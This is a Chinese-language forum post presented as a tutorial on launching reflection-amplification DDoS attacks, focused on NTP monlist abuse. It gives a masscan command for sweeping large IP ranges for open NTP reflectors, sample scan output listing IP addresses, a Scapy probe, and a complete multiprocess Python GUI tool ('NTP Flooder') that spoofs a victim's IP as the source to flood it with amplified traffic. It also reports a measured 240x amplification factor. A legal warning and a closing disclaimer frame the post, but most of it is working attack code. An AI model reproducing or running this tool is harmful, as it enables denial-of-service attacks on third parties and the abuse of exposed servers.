[拒绝服务攻击] 【教程】如何DDOS攻击

194 0
Honkers 2025-5-8 21:38:06 来自手机 | 显示全部楼层 |阅读模式

敬告:

《中华人民共和国刑法》第二百八十六条【破坏计算机信息系统罪;网络服务渎职罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。

一、DDos攻击方式的选择?

DDos攻击,通常指使用大量网络设备,向某个指定主机发送大量无用的数据包,阻塞其网络,使得正常的数据包无法稳定传输,而达到拒绝服务的一种攻击方式。

1. DDos的分类:

总体分类来看,DDOS可以分为三类

  1. 直接攻击型(往往需要大量僵尸主机,与我们的目标-低成本DDOS背道而驰)
  2. 反射型(虽然不需要大量僵尸网络,也可以隐藏真实ip,但是却无法放大流量)
  3. 反射放大型(在反射的基础之上增加放大,威力加倍)

2. 放大型DDos的步骤:

以此来看呢,很明显,反射放大型DDOS是性价比最高的DDOS攻击放大型DDos具体的原理非常简单,大致分为四个步骤:

  1. 攻击者将有欺骗性 IP 地址的 UDP 数据包发送到反射服务器。数据包上的欺骗性地址指向受害者的真实 IP 地址。
  2. 每个 UDP 数据包都向反射服务器发出请求,通常是基于某个协议,以接收尽可能最大的响应。
  3. 反射服务器收到请求后,会向欺骗性 IP 地址发送较大的响应。

目标的 IP 地址接收响应,其周边的网络基础设施被大量流量淹没,从而导致拒绝服务。达到四两拨千斤的攻击效果。

反射放大型DDos的实际操作过程中,有许多协议都可以利用,其中较为著名的有DNS放大,SSDP放大,NTP放大等。放大倍率如下:

常见放大攻击
协议端口理论放大倍数
DNS5328~54
NTP123556.9
SNMP1616.3
SSDP190030.8
PОRTMAP1117~28
QOTD17140.3
CHARGEN19358.8
TFTP6960
NETBIOS1383.8
MEMCACHED1121110000~50000
WS_DISCOVERY370270~500
CLDAP38956~70

可见,其中放大倍率最高的攻击为MEMCACHED协议。然而,MEMCACHAED放大DDOS已经被几乎完全修复

因此,本文中我将带领大家实现NTP型DDos(也是目前被黑客最广泛应用的DDos方式之一)。


二、NTP协议的漏洞?

首先,我们具体分析一下NTP协议:

NTP协议中,包含一个MONLIST功能,该功能的初衷是用于监控NTP服务器。客户端可以构建一个90字节的Mongetlist数据包发送给NTP服务器。然后服务器接收到monlist请求后,就会响应100个数据包,每个数据包482字节


三、理论验证?

1. 收集反射源:

因此说,想要实现NTP型DDos,就必须收集反射服务器,也就是查找开放123端口的主机。扫描主机时,我们可以使用masscan高速互联网端口扫描软件。在Kail linux系统中输入以下命令就可以扫描。

  1. sudo masscan -pU:123 -oX ntp.xml --rate 160000 110.0.0.0-124.0.0.0
复制代码

这个命令的大致意思是:

  • -Pu:123(使用UDP协议扫描端口123)
  • -oX ntp.xml(输出文件,文件格式为xml,输出目标为ntp.xml)
  • --rate 160000(扫描速度为每秒160000个数据包,带宽越大,这个数字就可以填写的越大)
  • 110.0.0.0-124.0.0.0(扫描的ip网段,扫描全网时间太久)
  1. <?xml version="1.0"?>
  2. <!-- masscan v1.0 scan -->
  3. <nmaprun scanner="masscan" start="1729074937" version="1.0-BETA" xmloutputversion="1.03">
  4. <scaninfo type="syn" protocol="tcp" />
  5. <host endtime="1729074937"><address addr="111.87.65.18" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  6. <host endtime="1729075703"><address addr="119.195.171.9" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  7. <host endtime="1729076264"><address addr="121.247.27.190" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  8. <host endtime="1729076270"><address addr="116.147.121.133" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  9. <host endtime="1729078039"><address addr="113.111.104.235" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  10. <host endtime="1729079781"><address addr="113.111.128.34" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  11. ...
  12. <host endtime="1729080374"><address addr="119.172.95.233" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  13. <host endtime="1729082019"><address addr="120.204.117.76" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  14. <host endtime="1729083980"><address addr="123.119.8.68" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  15. <host endtime="1729086213"><address addr="115.140.209.102" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  16. <host endtime="1729086373"><address addr="114.252.232.105" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
  17. <host endtime="1729090630"><address addr="122.222.248.16" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
复制代码

2. 验证反射源:

接下来我们随便从中选择一个ip,用Python的Scapy发送一个MONGETLIST请求,看看会不会响应:

  1. from scapy.all import *
  2. data = "\x17\x00\x03\x2a" + "\x00" * 44 # NTP monlist packet
  3. packet = IP(dst="103.97.200.65") / UDP(sport=22333, dport=123) / Raw(load=data)
  4. send(packet)
复制代码

这里我们首先构建一个data数据包,其中的数据就是一个monlist的请求。接下来我们可以使用Wireshark来监听我们自己的端口22333,来检查NTP服务器是否响应了我们的请求。

可见我们的主机发送了一个90字节的请求后,NTP服务器立马响应了100个数据包,每个数据包都是482个字节。

至此,我们的理论验证没有问题。


四、编写最终脚本

1. 测试用的脚本:

接下来我们完善一下发送数据包的脚本,增加一个UI面板,同时实现多线程同时发包。这样就能测试在反复发包时候的流量倍率了。

  1. import base64
  2. import tkinter as tk
  3. from collections import Counter
  4. from multiprocessing import Process, Value, freeze_support
  5. from tkinter import filedialog, messagebox, scrolledtext
  6. import threading
  7. import time
  8. from scapy.all import *
  9. from logo import *
  10. sending = Value('i', 0)
  11. def stop_filter(stop_event):
  12. return stop_event.is_set()
  13. def sniffer(collected_ips, all_packets, stop_event, adepter):
  14. # Sniffs incoming network traffic on UDP port 123
  15. sniff(filter="udp port 123", store=0, prn=lambda p: analyser(p, collected_ips, all_packets),
  16. iface="WLAN", stop_filter=lambda x: stop_filter(stop_event))
  17. def analyser(packet, collected_ips, all_packets):
  18. if len(packet) > 200 and packet.haslayer(IP):
  19. ip_src = packet.getlayer(IP).src
  20. all_packets.append(ip_src)
  21. if ip_src not in collected_ips:
  22. collected_ips.append(ip_src)
  23. def get_available_monlist_servers(monlist_path, scantimes=2, fliter_magnification='1', adepter="WLAN", scandelay=0.02):
  24. collected_ips = [] # List to store collected IPs
  25. all_packets = []
  26. stop_event = threading.Event() # Create a stop event
  27. # Start the sniffer thread
  28. sniffer_thread = threading.Thread(target=sniffer, args=(collected_ips, all_packets, stop_event, adepter))
  29. sniffer_thread.start()
  30. # Send packets to each address from the monlist file
  31. for i in range(scantimes):
  32. with open(monlist_path, 'r', encoding='utf-8') as logfile:
  33. for address in logfile:
  34. address = address.strip()
  35. send(IP(dst=address) / UDP(sport=123, dport=123) / Raw(load=b"\x10\x00\x03\x20" + b"\x00" * 44),
  36. verbose=0, iface=adepter)
  37. time.sleep(scandelay)
  38. time.sleep(5)
  39. # Set the stop event to signal the sniffer to stop
  40. stop_event.set()
  41. # send a packet to trigger the stop event
  42. send(IP(dst="127.0.0.1") / UDP(sport=123, dport=123) / Raw(load="shutdown"), iface=adepter, verbose=0)
  43. # Wait for the sniffer thread to finish
  44. sniffer_thread.join()
  45. count = Counter(all_packets)
  46. # 排序完成
  47. # 筛选出发包次数较多的反弹服务器
  48. if fliter_magnification == 'disable':
  49. sorted_count = list(dict(sorted(count.items(), key=lambda item: item[1], reverse=True)).keys())
  50. return sorted_count, sorted_count
  51. result = list(dict(
  52. sorted(((key, value) for key, value in count.items() if value > int(fliter_magnification) * scantimes),
  53. key=lambda item: item[1], reverse=True)).keys())
  54. return result, result # Return the collected IPs list
  55. def send_packets_(text, target_ip, target_port, sending, adepter):
  56. ntp_servers = text.split('\n')
  57. if target_port == 'random':
  58. while sending.value:
  59. mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(1, 65535), dport=123) / Raw(
  60. load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
  61. send(mpacket, verbose=0, iface=adepter)
  62. elif '-' in target_port:
  63. ports = target_port.split('-')
  64. print(ports)
  65. while sending.value:
  66. mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(int(ports[0]), int(ports[1])),
  67. dport=123) / Raw(
  68. load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
  69. send(mpacket, verbose=0, iface=adepter)
  70. else:
  71. mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=int(target_port), dport=123) / Raw(
  72. load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
  73. while sending.value:
  74. send(mpacket, verbose=0, iface=adepter)
  75. class PacketSenderApp:
  76. def __init__(self, master):
  77. self.master = master
  78. self.master.title("NTP Flooder")
  79. # Variables
  80. self.scandelay = tk.DoubleVar(value=0.02)
  81. self.scantimes = tk.IntVar(value=2)
  82. self.adepter = tk.StringVar(value='WLAN')
  83. self.monlist_path = tk.StringVar()
  84. self.target_ip = tk.StringVar(value = get_if_addr('WLAN'))
  85. self.process_count = tk.IntVar(value=1)
  86. self.target_port = tk.StringVar(value='random')
  87. self.check_servers = tk.BooleanVar()
  88. self.magnification = tk.StringVar(value='disable')
  89. # UI Elements
  90. tk.Label(master, text="Monlist File:").grid(row=0, column=0)
  91. tk.Entry(master, textvariable=self.monlist_path).grid(row=0, column=1)
  92. tk.Button(master, text="Browse", command=self.browse_monlist).grid(row=0, column=2)
  93. tk.Label(master, text="Target IP:").grid(row=1, column=0)
  94. tk.Entry(master, textvariable=self.target_ip).grid(row=1, column=1)
  95. tk.Label(master, text="Target port:").grid(row=2, column=0)
  96. tk.Entry(master, textvariable=self.target_port).grid(row=2, column=1)
  97. tk.Label(master, text="Process Count:").grid(row=3, column=0)
  98. tk.Entry(master, textvariable=self.process_count).grid(row=3, column=1)
  99. self.start_button = tk.Button(master, text="Start Sending", command=self.start_stop_sending)
  100. self.start_button.grid(row=4, columnspan=3)
  101. self.check_button = tk.Button(master, text="Check Available Servers", command=self.check_available_servers)
  102. self.check_button.grid(row=5, columnspan=3)
  103. # 文本框:显示可用的 NTP 服务器
  104. self.server_text = scrolledtext.ScrolledText(master, width=40, height=10)
  105. self.server_text.grid(row=6, columnspan=3)
  106. tk.Label(master, text="Magnification filter:").grid(row=7, column=0)
  107. tk.Entry(master, textvariable=self.magnification).grid(row=7, column=1)
  108. tk.Label(master, text="Net Adepter").grid(row=8, column=0)
  109. tk.Entry(master, textvariable=self.adepter).grid(row=8, column=1)
  110. tk.Label(master, text="Scan times").grid(row=9, column=0)
  111. tk.Entry(master, textvariable=self.scantimes).grid(row=9, column=1)
  112. tk.Label(master, text="Scan Delay(s)").grid(row=10, column=0)
  113. tk.Entry(master, textvariable=self.scandelay).grid(row=10, column=1)
  114. self.is_sending = 0
  115. self.master.protocol("WM_DELETE_WINDOW", self.on_closing)
  116. def on_closing(self):
  117. if self.is_sending:
  118. if messagebox.askyesno("Confirm", "Packets are currently being sent. Do you really want to exit?"):
  119. self.is_sending = 0
  120. sending.value = 0
  121. self.master.destroy() # 关闭窗口
  122. else:
  123. self.master.destroy() # 直接关闭窗口
  124. def browse_monlist(self):
  125. file_path = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
  126. self.monlist_path.set(file_path)
  127. if not os.path.exists(self.monlist_path.get()):
  128. return
  129. with open(file_path, 'r', encoding='utf-8') as f:
  130. self.server_text.delete(1.0, tk.END)
  131. self.server_text.insert(tk.END, f.read())
  132. def start_stop_sending(self):
  133. if not self.is_sending:
  134. process_count = self.process_count.get()
  135. self.is_sending = 1
  136. self.start_button.config(text="Stop Sending")
  137. text = self.server_text.get(1.0, tk.END)
  138. target_ip = self.target_ip.get()
  139. target_port = self.target_port.get()
  140. sending.value = 1
  141. for i in range(process_count):
  142. Process(target=send_packets_, args=(text, target_ip, target_port, sending, self.adepter.get())).start()
  143. else:
  144. self.is_sending = 0
  145. sending.value = 0
  146. self.start_button.config(text="Start Sending")
  147. def check_available_servers(self):
  148. monlist_path = self.monlist_path.get()
  149. _, servers = get_available_monlist_servers(monlist_path, fliter_magnification=self.magnification.get(),
  150. adepter=self.adepter.get(), scandelay=self.scandelay.get(),
  151. scantimes=self.scantimes.get()) # 假设这个函数返回可用的服务器列表
  152. self.server_text.delete(1.0, tk.END) # 清空文本框
  153. for server in servers:
  154. self.server_text.insert(tk.END, f"{server}\n") # 在文本框中添加可用服务器
  155. return servers
  156. if __name__ == "__main__":
  157. freeze_support()
  158. root = tk.Tk()
  159. icon = open("gui_icon.ico", "wb+")
  160. icon.write(base64.b64decode(img)) # 写入到临时文件中
  161. icon.close()
  162. root.iconbitmap("gui_icon.ico")
  163. os.remove("gui_icon.ico")
  164. app = PacketSenderApp(root)
  165. root.mainloop()
复制代码

直接运行代码

2. 脚本的使用方法:

这个脚本的使用方法非常简单:

  1. 在输入框中输入可用的反射源(NTP服务器),或者从txt文件中加载。
  2. 输入目标ip(这里我输入我自己的ip,这样就可以监控返回的流量)
  3. 输入目标端口(NTP端口123)
  4. 输入线程数,线程越多,威力越大,但是需要更强的网卡和CPU(我这里输入1,是因为我主要用于测试反射放大倍率)
  5. 点击“start sending”开始udp洪水

3. 测试DDos的流量:

我们接下来在任务管理器里监听一下网卡的流量:

可见发包流量在500Kbps时,返回的数据流量达到了120Mbps。做一个简单的除法就能得到其放大倍率是240倍。虽然没有达到理论的500倍放大,但依然是很强的流量了

依照这样计算,攻击者就算使用普通的家庭宽带服务,100兆的上传流量,就可以打出2400兆的攻击流量。对于一些国内的低带宽服务器,完全是碾压式的攻击。在把受害者所有的上行流量占满后,任何流量清洗或防火墙都是纸糊的装甲。

至此,我们复现NTP型DDos就算圆满完成了。但是这里还是要提醒大家,请勿攻击他人的设备或服务器,否则都将会受到法律的制裁。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行